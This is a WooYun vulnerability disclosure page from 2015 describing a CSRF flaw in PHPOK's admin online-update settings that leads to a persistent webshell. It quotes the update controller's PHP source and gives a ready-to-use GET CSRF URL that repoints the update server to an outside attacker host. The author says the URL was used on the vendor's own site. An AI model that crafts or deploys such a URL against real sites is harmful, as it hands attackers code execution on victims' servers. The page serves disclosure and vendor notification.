当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0109096

漏洞标题:PHPOK最新版CSRF 永久GETSHELL

相关厂商:phpok.com

漏洞作者: LaiX

提交时间:2015-04-22 16:16

修复时间:2015-07-21 17:00

公开时间:2015-07-21 17:00

漏洞类型:CSRF

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-22: 细节已通知厂商并且等待厂商处理中
2015-04-22: 厂商已经确认,细节仅向厂商公开
2015-04-25: 细节向第三方安全合作伙伴开放
2015-06-16: 细节向核心白帽子及相关领域专家公开
2015-06-26: 细节向普通白帽子公开
2015-07-06: 细节向实习白帽子公开
2015-07-21: 细节向公众公开

简要描述:

PHPOK CSRF 永久GETSHELL

详细说明:

PHPOK 最新版中,在线升级系统配置 可以被CSRF恶意串改。导致更新程序指向黑客的网站。

1.png


查看源码不难逆向出XML的构造格式。
\phpok\framework\admin\update_control.php

//在线升级
function main_f()
{
if(!$this->popedom['update']){
error('您没有在线升级权限',$this->url('update'),'error');
}
$info = $this->service(4);
$rs = $this->lib('json')->decode($info);
if($rs['status'] != 'ok'){
error('没有找到升级包信息',$this->url('update'),'error');
}
if(!$rs['content'] || count($rs['content']) < 1) {
error('没有符合您要求的升级包',$this->url('update'),'error');
}
if(is_file($this->dir_root.'data/update.php')){
include($this->dir_root.'data/update.php');
$this->assign('uconfig',$uconfig);
}
$rslist = array();
foreach($rs['content'] as $key=>$value){
$id = $value['phpok-id'];
$version = substr($value['phpok-id'],0,1).'.'.substr($value['phpok-id'],1,1).'.'.substr($value['phpok-id'],2);
$time = date("Y-m-d H:i:s",$value['phpok-time']);
$size = $this->lib('common')->num_format($value['phpok-size']);
$rslist[] = array('id'=>$id,'version'=>$version,'time'=>$time,'size'=>$size,'type'=>'zip');
}
$this->assign('rslist',$rslist);
$this->view('update');
}

漏洞证明:

根据PHPOK的变量覆盖漏洞。
直接构造得出GET型CSRF URL。

http://www.phpok.com/admin.php?c=update&f=save&status=1&server=http://update.tiesec.org/d&data=1


以下是PHPOK官方实战演练:

2.png


发布后,静静的等待管理员的查看。

修复方案:

版权声明:转载请注明来源 LaiX@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-04-22 16:59

厂商回复:

嗯嗯,Bug已收到。安排到下一版本中升级修正,哎,累就一字!

最新状态:

暂无